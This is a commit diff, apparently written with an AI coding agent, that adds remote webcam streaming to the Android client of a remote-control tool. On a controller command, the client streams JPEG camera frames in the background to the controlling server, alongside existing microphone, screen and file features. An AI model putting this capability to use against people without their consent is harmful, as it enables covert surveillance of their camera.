Feature: support camera streaming on Android hosts
Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
This commit is contained in:
1 parent
28c0c9a2a6
commit
998c16edc5
11 files changed
+739
-1
No files matched your search
@@ -16,6 +16,10 @@
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
|
||||
<!-- 摄像头管理(COMMAND_WEBCAM):Camera2 JPEG 上行;后台使用需要 camera 类型前台服务 -->
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA" />
|
||||
<uses-feature android:name="android.hardware.camera" android:required="false" />
|
||||
<!-- 语音监听(COMMAND_AUDIO):AudioRecord 采集麦克风;后台采集要求前台服务带
|
||||
microphone 类型(Android 11+),类型权限在上面的 FOREGROUND_SERVICE_MICROPHONE -->
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
@@ -54,7 +58,7 @@
|
||||
|
||||
<service
|
||||
android:name=".CaptureService"
|
||||
android:foregroundServiceType="dataSync|mediaProjection|microphone"
|
||||
android:foregroundServiceType="dataSync|mediaProjection|microphone|camera"
|
||||
android:exported="false" />
|
||||
|
||||
<service
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
// VideoHandlerAndroid.h - Android 摄像头管理(COMMAND_WEBCAM)
|
||||
//
|
||||
// 协议与 Windows 客户端一致(client/VideoManager.cpp、server/2015Remote/VideoDlg.cpp):
|
||||
// [TOKEN_WEBCAM_BITMAPINFO][BITMAPINFO] 服务端据此打开视频窗口;
|
||||
// 之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler:4][帧数据]。
|
||||
// 与 Windows 不同的是 BITMAPINFO 不在子连接建立时立即发,而是等第一帧到达、
|
||||
// 从 JPEG 的 SOF 里读出真实宽高再发(HAL 物理旋转会让宽高互换)。
|
||||
//
|
||||
// 与 Windows 的区别只在编码:Windows 用 VFW 的 MJPEG/H.263 编解码器,Android 相机
|
||||
// 原生输出 JPEG,fccHandler 用 WEBCAM_FOURCC_JPEG_DIRECT('JPGD'),服务端走
|
||||
// turbojpeg 直解,不依赖目标机安装任何编解码器。
|
||||
//
|
||||
// 采集与编码在 Kotlin 侧(CameraCapture.kt,Camera2 → ImageReader(JPEG)),这里只
|
||||
// 负责协议封装与 JPEG 广播;帧回调从 Java 线程进入(YamaBridge.nativeOnCameraJpeg)。
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cstring>
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局)
|
||||
|
||||
#define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__)
|
||||
|
||||
// 由 main.cpp 实现(JNI → CameraCapture.start/stop)
|
||||
bool StartJavaCamera(int* outWidth, int* outHeight);
|
||||
void StopJavaCamera();
|
||||
|
||||
class AndroidVideoHandler : public IOCPManager
|
||||
{
|
||||
public:
|
||||
explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {}
|
||||
~AndroidVideoHandler() override { StopCapture(); }
|
||||
|
||||
// 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false,
|
||||
// 调用方应关掉子连接并给主控回一条消息。
|
||||
bool StartCapture()
|
||||
{
|
||||
int w = 0, h = 0;
|
||||
if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false;
|
||||
m_width = w;
|
||||
m_height = h;
|
||||
m_running.store(true, std::memory_order_release);
|
||||
// BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理
|
||||
// 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准,
|
||||
// 服务端就不会因为尺寸对不上而丢帧黑屏。
|
||||
LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h);
|
||||
return true;
|
||||
}
|
||||
|
||||
void StopCapture()
|
||||
{
|
||||
if (!m_running.exchange(false)) return;
|
||||
StopJavaCamera();
|
||||
}
|
||||
|
||||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT:
|
||||
// 服务端视频窗口已打开
|
||||
m_dialogOpen.store(true, std::memory_order_relaxed);
|
||||
LOGE_V("camera dialog opened");
|
||||
break;
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS:
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS:
|
||||
// JPEG 帧始终是压缩数据,两个开关都不需要改编码路径
|
||||
break;
|
||||
default:
|
||||
LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程)
|
||||
void SendJpeg(const uint8_t* data, size_t len)
|
||||
{
|
||||
IOCPClient* client = m_client;
|
||||
if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0)
|
||||
return;
|
||||
|
||||
// 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口),
|
||||
// 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。
|
||||
if (!m_infoSent) {
|
||||
int w = m_width, h = m_height;
|
||||
if (JpegDimensions(data, len, &w, &h)) {
|
||||
m_width = w;
|
||||
m_height = h;
|
||||
}
|
||||
SendBitmapInfo();
|
||||
m_infoSent = true;
|
||||
LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len);
|
||||
} else if (!m_dialogOpen.load(std::memory_order_relaxed)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const size_t head = 1 + 1 + 4;
|
||||
std::vector<uint8_t> pkt(head + len);
|
||||
pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB;
|
||||
pkt[1] = 1; // isCompress
|
||||
uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT;
|
||||
memcpy(&pkt[2], &fcc, 4);
|
||||
memcpy(&pkt[head], data, len);
|
||||
client->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
int Width() const { return m_width; }
|
||||
int Height() const { return m_height; }
|
||||
|
||||
private:
|
||||
// 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。
|
||||
// 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。
|
||||
static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h)
|
||||
{
|
||||
if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false;
|
||||
size_t i = 2;
|
||||
while (i + 9 < n) {
|
||||
if (d[i] != 0xFF) { ++i; continue; }
|
||||
const uint8_t m = d[i + 1];
|
||||
if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; }
|
||||
if (i + 4 > n) return false;
|
||||
const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3];
|
||||
if (segLen < 2 || i + 2 + segLen > n) return false;
|
||||
const bool isSof =
|
||||
(m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) ||
|
||||
(m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF);
|
||||
if (isSof) {
|
||||
if (segLen < 7) return false;
|
||||
const int hh = ((int)d[i + 5] << 8) | d[i + 6];
|
||||
const int ww = ((int)d[i + 7] << 8) | d[i + 8];
|
||||
if (ww <= 0 || hh <= 0) return false;
|
||||
*w = ww;
|
||||
*h = hh;
|
||||
return true;
|
||||
}
|
||||
i += 2 + segLen;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。
|
||||
// Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors),
|
||||
// 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。
|
||||
void SendBitmapInfo()
|
||||
{
|
||||
if (!m_client) return;
|
||||
uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 };
|
||||
buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO;
|
||||
|
||||
BmpInfoHeader hdr{};
|
||||
hdr.biSize = sizeof(BmpInfoHeader);
|
||||
hdr.biWidth = m_width;
|
||||
hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致
|
||||
hdr.biPlanes = 1;
|
||||
hdr.biBitCount = 24; // 服务端解码成 BGR24
|
||||
hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图
|
||||
// DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释)
|
||||
const int stride = (m_width * 3 + 3) & ~3;
|
||||
hdr.biSizeImage = (uint32_t)(stride * m_height);
|
||||
memcpy(buf + 1, &hdr, sizeof(hdr));
|
||||
m_client->Send2Server((char*)buf, (ULONG)sizeof(buf));
|
||||
}
|
||||
|
||||
IOCPClient* m_client = nullptr;
|
||||
std::atomic<bool> m_running{false};
|
||||
std::atomic<bool> m_dialogOpen{false};
|
||||
bool m_infoSent = false;
|
||||
int m_width = 0;
|
||||
int m_height = 0;
|
||||
};
|
||||
@@ -42,6 +42,7 @@
|
||||
// 盘符映射与存储根。子连接自己建(GetServerTarget),不走 RunSubConnThread——
|
||||
// 后者拨的是 g_SETTINGS 里的出厂地址,转移主机后还是连旧主控。
|
||||
#include "FileManagerAndroid.h"
|
||||
#include "VideoHandlerAndroid.h" // 摄像头(COMMAND_WEBCAM)
|
||||
|
||||
#define LOG_TAG "YAMA"
|
||||
// LOGI/LOGE 走 android_log_tag(logger.h):既进 logcat,也进 Logger 的内存 ring,
|
||||
@@ -287,6 +288,10 @@ static jmethodID g_allFilesMid = nullptr; // StorageHelper.allFilesAc
|
||||
static jclass g_textClass = nullptr;
|
||||
static jmethodID g_gbkToUtf8Mid = nullptr; // NativeText.gbkToUtf8([B)[B
|
||||
static jmethodID g_utf8ToGbkMid = nullptr; // NativeText.utf8ToGbk([B)[B
|
||||
// 摄像头:CameraCapture.start() 返回 [w,h](null=无相机/无权限),stop() 停止采集
|
||||
static jclass g_cameraClass = nullptr;
|
||||
static jmethodID g_cameraStartMid = nullptr; // ()[I
|
||||
static jmethodID g_cameraStopMid = nullptr; // ()V
|
||||
|
||||
// 心跳日志限流:每 60 秒最多打一次
|
||||
static std::atomic<uint64_t> g_lastHbLogMs{0};
|
||||
@@ -576,6 +581,49 @@ std::string AndroidMapWinPathToUnix(const std::string& winPath)
|
||||
return p;
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 摄像头 JNI
|
||||
bool StartJavaCamera(int* outWidth, int* outHeight)
|
||||
{
|
||||
if (!g_jvm || !g_cameraClass || !g_cameraStartMid) {
|
||||
LOGE("CAMERA: JNI not ready");
|
||||
return false;
|
||||
}
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return false;
|
||||
|
||||
bool ok = false;
|
||||
jobject res = env->CallStaticObjectMethod(g_cameraClass, g_cameraStartMid);
|
||||
if (env->ExceptionCheck()) {
|
||||
env->ExceptionClear();
|
||||
} else if (res) {
|
||||
const jsize n = env->GetArrayLength((jintArray)res);
|
||||
if (n >= 2) {
|
||||
jint vals[2] = { 0, 0 };
|
||||
env->GetIntArrayRegion((jintArray)res, 0, 2, vals);
|
||||
if (vals[0] > 0 && vals[1] > 0) {
|
||||
*outWidth = vals[0];
|
||||
*outHeight = vals[1];
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
env->DeleteLocalRef(res);
|
||||
}
|
||||
DetachJniForCall(attached);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void StopJavaCamera()
|
||||
{
|
||||
if (!g_jvm || !g_cameraClass || !g_cameraStopMid) return;
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return;
|
||||
env->CallStaticVoidMethod(g_cameraClass, g_cameraStopMid);
|
||||
if (env->ExceptionCheck()) env->ExceptionClear();
|
||||
DetachJniForCall(attached);
|
||||
}
|
||||
|
||||
std::string AndroidMapUnixToWinPath(const std::string& unixPath)
|
||||
{
|
||||
for (const auto& r : AndroidStorageRootsCached()) {
|
||||
@@ -1451,6 +1499,70 @@ static void FileManagerThread()
|
||||
LOGI(">>> FileManagerThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 摄像头
|
||||
// 服务端 COMMAND_WEBCAM(主控右键「视频管理」)→ 子连接 → Camera2 采集 JPEG →
|
||||
// [TOKEN_WEBCAM_DIB][isCompress][fcc=JPGD][JPEG]。服务端用 turbojpeg 直解。
|
||||
// 同一时刻只允许一个会话(服务端菜单重复点击会发多条命令,第二个子连接没有意义)。
|
||||
static std::atomic<bool> g_videoInFlight{false};
|
||||
static std::mutex g_videoMx;
|
||||
static AndroidVideoHandler* g_videoHandler = nullptr;
|
||||
|
||||
static void VideoThread()
|
||||
{
|
||||
struct InFlightGuard {
|
||||
~InFlightGuard() { g_videoInFlight.store(false); }
|
||||
} guard;
|
||||
|
||||
std::string ip; int port;
|
||||
GetServerTarget(ip, port);
|
||||
LOGI("VideoThread start → %s:%d", ip.c_str(), port);
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, true));
|
||||
client->EnableSubConnAuth(true, g_myClientID);
|
||||
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
GetServerTarget(ip, port);
|
||||
if (!client->ConnectServer(ip.c_str(), port)) {
|
||||
LOGE("VideoThread: connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
std::unique_ptr<AndroidVideoHandler> handler(new AndroidVideoHandler(client.get()));
|
||||
client->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
g_videoHandler = handler.get();
|
||||
}
|
||||
|
||||
if (!handler->StartCapture()) {
|
||||
// 无 CAMERA 权限 / 设备无摄像头 / 被其它应用占用。服务端没收到
|
||||
// BITMAPINFO 就不会弹窗口,这里回一条消息说明原因。
|
||||
LOGE("VideoThread: camera unavailable");
|
||||
sendClientMsg("Camera",
|
||||
"Camera unavailable: grant the CAMERA permission or close the app "
|
||||
"that is using it");
|
||||
} else {
|
||||
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(200);
|
||||
LOGI("VideoThread: sub-conn closed");
|
||||
}
|
||||
|
||||
handler->StopCapture();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
g_videoHandler = nullptr;
|
||||
}
|
||||
client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
// 先销毁 handler 再销毁连接:接收线程可能正卡在 OnReceive 里
|
||||
handler.reset();
|
||||
client.reset();
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("VideoThread exception: %s", e.what());
|
||||
}
|
||||
LOGI("VideoThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 历史活动上报
|
||||
// 主连接一次性快照(与 Windows/Linux 一致,服务端 TOKEN_REPORT_ACTIVITY 分支不 CancelIO)。
|
||||
// 采样机每秒问一次 ControlService 的前台应用;这里只取 Dump(),几十微秒的活。
|
||||
@@ -2112,6 +2224,22 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM: {
|
||||
// 摄像头管理(主控右键「视频管理」)
|
||||
if (g_videoInFlight.exchange(true)) {
|
||||
LOGI("cmd: COMMAND_WEBCAM ignored (camera session already in flight)");
|
||||
break;
|
||||
}
|
||||
LOGI("cmd: COMMAND_WEBCAM → camera sub-conn");
|
||||
try {
|
||||
std::thread(VideoThread).detach();
|
||||
} catch (const std::exception& e) {
|
||||
g_videoInFlight.store(false);
|
||||
LOGE("Video thread failed: %s", e.what());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SEND_FILE_V2:
|
||||
case COMMAND_FILE_COMPLETE_V2: {
|
||||
// 服务端 → 客户端的 V2 上传(MCP upload_file)。落盘路径经
|
||||
@@ -2757,6 +2885,20 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
} else {
|
||||
LOGE("NativeText class not found");
|
||||
}
|
||||
// 摄像头:CameraCapture.start()/stop()
|
||||
jclass cameraCls = env->FindClass("com/yama/client/CameraCapture");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); cameraCls = nullptr; }
|
||||
if (cameraCls) {
|
||||
g_cameraClass = (jclass)env->NewGlobalRef(cameraCls);
|
||||
g_cameraStartMid = env->GetStaticMethodID(g_cameraClass, "start", "()[I");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStartMid = nullptr; }
|
||||
if (!g_cameraStartMid) LOGE("CameraCapture.start not found");
|
||||
g_cameraStopMid = env->GetStaticMethodID(g_cameraClass, "stop", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStopMid = nullptr; }
|
||||
if (!g_cameraStopMid) LOGE("CameraCapture.stop not found");
|
||||
} else {
|
||||
LOGE("CameraCapture class not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2879,4 +3021,33 @@ Java_com_yama_client_YamaBridge_nativeOnH264Frame(
|
||||
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
// Camera2 每帧 JPEG(CameraCapture 的 ImageReader 回调线程)
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeOnCameraJpeg(JNIEnv* env, jobject, jbyteArray data)
|
||||
{
|
||||
if (!data) return;
|
||||
const jsize len = env->GetArrayLength(data);
|
||||
if (len <= 0) return;
|
||||
jbyte* buf = env->GetByteArrayElements(data, nullptr);
|
||||
if (!buf) return;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
if (g_videoHandler)
|
||||
g_videoHandler->SendJpeg((const uint8_t*)buf, (size_t)len);
|
||||
}
|
||||
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
// 摄像头采集失败(无权限 / 被占用 / 会话配置失败):回报主控消息栏
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeOnCameraError(JNIEnv* env, jobject, jstring msg)
|
||||
{
|
||||
if (!msg) return;
|
||||
const char* c = env->GetStringUTFChars(msg, nullptr);
|
||||
if (!c) return;
|
||||
LOGE("CAMERA: %s", c);
|
||||
sendClientMsg("Camera", c);
|
||||
env->ReleaseStringUTFChars(msg, c);
|
||||
}
|
||||
|
||||
} // extern "C"
|
||||
@@ -0,0 +1,259 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.ImageFormat
|
||||
import android.hardware.camera2.CameraCaptureSession
|
||||
import android.hardware.camera2.CameraCharacteristics
|
||||
import android.hardware.camera2.CameraDevice
|
||||
import android.hardware.camera2.CameraManager
|
||||
import android.hardware.camera2.CaptureRequest
|
||||
import android.media.ImageReader
|
||||
import android.os.Build
|
||||
import android.os.Handler
|
||||
import android.os.HandlerThread
|
||||
import android.os.SystemClock
|
||||
import android.util.Log
|
||||
import android.view.Surface
|
||||
import android.view.WindowManager
|
||||
import androidx.core.content.ContextCompat
|
||||
|
||||
/**
|
||||
* 摄像头管理(COMMAND_WEBCAM)的 Android 采集端。
|
||||
*
|
||||
* 走 Camera2 的 JPEG 输出:ImageReader 直接拿一帧完整 JPEG,交给 native 侧的
|
||||
* AndroidVideoHandler 按 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler=JPGD][JPEG]
|
||||
* 发给服务端;服务端用 turbojpeg 解码显示(不需要装任何 VFW 编解码器)。
|
||||
*
|
||||
* 为什么不用 MediaCodec H.264:服务端摄像头对话框原本走 VFW ICM 解码,H.264
|
||||
* 需要系统装 x264vfw;JPEG 直解改动最小、且 Android 相机原生支持 JPEG 输出。
|
||||
*
|
||||
* 生命周期:C++ 收到 COMMAND_WEBCAM 后调 start(),子连接断开时调 stop()。
|
||||
* start() 同步返回所选分辨率(可能为 null=无相机/无权限),真正开流是异步的:
|
||||
* 服务端已按返回的分辨率发 BITMAPINFO,第一帧通常比对话框打开晚几百毫秒。
|
||||
*/
|
||||
object CameraCapture {
|
||||
private const val TAG = "YAMA_CAM"
|
||||
private const val TARGET_FPS = 8
|
||||
private const val MIN_INTERVAL_MS = 1000L / TARGET_FPS
|
||||
// 720p 足够看清,且 8fps 的 JPEG 上行在弱网下也不至于把主连接挤死
|
||||
private const val MAX_W = 1280
|
||||
private const val MAX_H = 720
|
||||
|
||||
private var thread: HandlerThread? = null
|
||||
private var handler: Handler? = null
|
||||
private var camera: CameraDevice? = null
|
||||
private var session: CameraCaptureSession? = null
|
||||
private var reader: ImageReader? = null
|
||||
private var lastSent = 0L
|
||||
|
||||
@Volatile private var running = false
|
||||
@Volatile private var currentSize: IntArray? = null
|
||||
// 每次 start() 自增;旧相机的回调靠它识别「自己已经是上一代了」
|
||||
@Volatile private var generation = 0
|
||||
|
||||
/**
|
||||
* 打开摄像头。成功返回 [width, height];失败返回 null(无权限 / 无相机)。
|
||||
* 重复调用安全(已在采集时直接返回当前分辨率)。
|
||||
*/
|
||||
@JvmStatic
|
||||
@Synchronized
|
||||
fun start(): IntArray? {
|
||||
if (running) return currentSize
|
||||
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return null
|
||||
if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.CAMERA)
|
||||
!= PackageManager.PERMISSION_GRANTED) {
|
||||
Log.w(TAG, "start: CAMERA permission not granted")
|
||||
return null
|
||||
}
|
||||
val manager = ctx.getSystemService(Context.CAMERA_SERVICE) as? CameraManager ?: return null
|
||||
val cameraId = pickCamera(manager) ?: return null
|
||||
val size = pickSize(manager, cameraId) ?: return null
|
||||
|
||||
running = true
|
||||
val gen = ++generation
|
||||
currentSize = intArrayOf(size.first, size.second)
|
||||
lastSent = 0L
|
||||
|
||||
val ht = HandlerThread("yama-camera")
|
||||
ht.start()
|
||||
thread = ht
|
||||
handler = Handler(ht.looper)
|
||||
val h = handler!!
|
||||
|
||||
runCatching {
|
||||
manager.openCamera(cameraId, object : CameraDevice.StateCallback() {
|
||||
override fun onOpened(cam: CameraDevice) {
|
||||
if (!running || gen != generation) { cam.close(); return }
|
||||
camera = cam
|
||||
openSession(ctx, cam, size.first, size.second, gen)
|
||||
}
|
||||
|
||||
override fun onDisconnected(cam: CameraDevice) {
|
||||
Log.w(TAG, "camera disconnected")
|
||||
cam.close()
|
||||
if (camera === cam) camera = null
|
||||
}
|
||||
|
||||
override fun onError(cam: CameraDevice, error: Int) {
|
||||
Log.e(TAG, "camera error=$error")
|
||||
cam.close()
|
||||
if (camera === cam) camera = null
|
||||
// 让 native 侧知道这路会话没有画面,避免服务端对话框一直黑着
|
||||
runCatching { YamaBridge.nativeOnCameraError("Camera error $error") }
|
||||
}
|
||||
}, h)
|
||||
}.onFailure {
|
||||
Log.e(TAG, "openCamera failed: $it")
|
||||
stop()
|
||||
return null
|
||||
}
|
||||
|
||||
Log.i(TAG, "start: camera=$cameraId size=${size.first}x${size.second}")
|
||||
return currentSize
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
@Synchronized
|
||||
fun stop() {
|
||||
running = false
|
||||
currentSize = null
|
||||
// 先把当前这一代的句柄摘下来,避免删到下一次 start() 新建的 handler/camera:
|
||||
// stop 是 post 到旧 HandlerThread 上执行的,执行前 start() 可能已经跑完了。
|
||||
val h = handler
|
||||
val s = session
|
||||
val c = camera
|
||||
val r = reader
|
||||
val ht = thread
|
||||
session = null
|
||||
camera = null
|
||||
reader = null
|
||||
handler = null
|
||||
thread = null
|
||||
|
||||
val closer = {
|
||||
runCatching { s?.close() }
|
||||
runCatching { c?.close() }
|
||||
runCatching { r?.close() }
|
||||
runCatching { ht?.quitSafely() }
|
||||
Log.i(TAG, "camera stopped")
|
||||
Unit
|
||||
}
|
||||
if (h != null) h.post(closer) else closer()
|
||||
}
|
||||
|
||||
private fun openSession(ctx: Context, cam: CameraDevice, width: Int, height: Int, gen: Int) {
|
||||
// 这些调用跑在相机 HandlerThread 上,异常逃出去会直接杀进程
|
||||
val r = try {
|
||||
ImageReader.newInstance(width, height, ImageFormat.JPEG, 3)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "ImageReader.newInstance failed: $e")
|
||||
YamaBridge.nativeOnCameraError("Camera init failed")
|
||||
return
|
||||
}
|
||||
reader = r
|
||||
r.setOnImageAvailableListener({ ir ->
|
||||
val image = try { ir.acquireLatestImage() } catch (e: Exception) { null } ?: return@setOnImageAvailableListener
|
||||
try {
|
||||
if (!running || gen != generation) return@setOnImageAvailableListener
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
if (now - lastSent < MIN_INTERVAL_MS) return@setOnImageAvailableListener
|
||||
lastSent = now
|
||||
val buf = image.planes[0].buffer
|
||||
val bytes = ByteArray(buf.remaining())
|
||||
buf.get(bytes)
|
||||
YamaBridge.nativeOnCameraJpeg(bytes)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "frame failed: $e")
|
||||
} finally {
|
||||
image.close()
|
||||
}
|
||||
}, handler)
|
||||
|
||||
val surfaces = listOf(r.surface)
|
||||
val callback = object : CameraCaptureSession.StateCallback() {
|
||||
override fun onConfigured(s: CameraCaptureSession) {
|
||||
if (!running || gen != generation) { s.close(); return }
|
||||
session = s
|
||||
runCatching {
|
||||
val req = cam.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW)
|
||||
req.addTarget(r.surface)
|
||||
req.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO)
|
||||
req.set(CaptureRequest.JPEG_ORIENTATION, orientation(ctx, cam))
|
||||
s.setRepeatingRequest(req.build(), null, handler)
|
||||
Log.i(TAG, "repeating request started")
|
||||
}.onFailure {
|
||||
Log.e(TAG, "setRepeatingRequest failed: $it")
|
||||
YamaBridge.nativeOnCameraError("Camera stream failed")
|
||||
}
|
||||
}
|
||||
|
||||
override fun onConfigureFailed(s: CameraCaptureSession) {
|
||||
Log.e(TAG, "capture session configure failed")
|
||||
YamaBridge.nativeOnCameraError("Camera session failed")
|
||||
}
|
||||
}
|
||||
// createCaptureSession 在相机线程上执行,抛异常同样会杀进程
|
||||
try {
|
||||
@Suppress("DEPRECATION")
|
||||
cam.createCaptureSession(surfaces, callback, handler)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "createCaptureSession failed: $e")
|
||||
YamaBridge.nativeOnCameraError("Camera session failed")
|
||||
}
|
||||
}
|
||||
|
||||
/** 让 JPEG 按当前屏幕方向摆正(手机竖屏时传感器画面是横的)。 */
|
||||
private fun orientation(ctx: Context, cam: CameraDevice): Int {
|
||||
val chars = runCatching {
|
||||
(ctx.getSystemService(Context.CAMERA_SERVICE) as CameraManager)
|
||||
.getCameraCharacteristics(cam.id)
|
||||
}.getOrNull() ?: return 0
|
||||
val sensor = chars.get(CameraCharacteristics.SENSOR_ORIENTATION) ?: 0
|
||||
val facing = chars.get(CameraCharacteristics.LENS_FACING)
|
||||
|
||||
@Suppress("DEPRECATION")
|
||||
val wm = ctx.getSystemService(Context.WINDOW_SERVICE) as? WindowManager
|
||||
@Suppress("DEPRECATION")
|
||||
val rotation = runCatching { wm?.defaultDisplay?.rotation }.getOrNull() ?: Surface.ROTATION_0
|
||||
val device = when (rotation) {
|
||||
Surface.ROTATION_90 -> 90
|
||||
Surface.ROTATION_180 -> 180
|
||||
Surface.ROTATION_270 -> 270
|
||||
else -> 0
|
||||
}
|
||||
return if (facing == CameraCharacteristics.LENS_FACING_FRONT)
|
||||
(sensor + device) % 360
|
||||
else
|
||||
(sensor - device + 360) % 360
|
||||
}
|
||||
|
||||
private fun pickCamera(manager: CameraManager): String? {
|
||||
val ids = runCatching { manager.cameraIdList }.getOrNull() ?: return null
|
||||
if (ids.isEmpty()) return null
|
||||
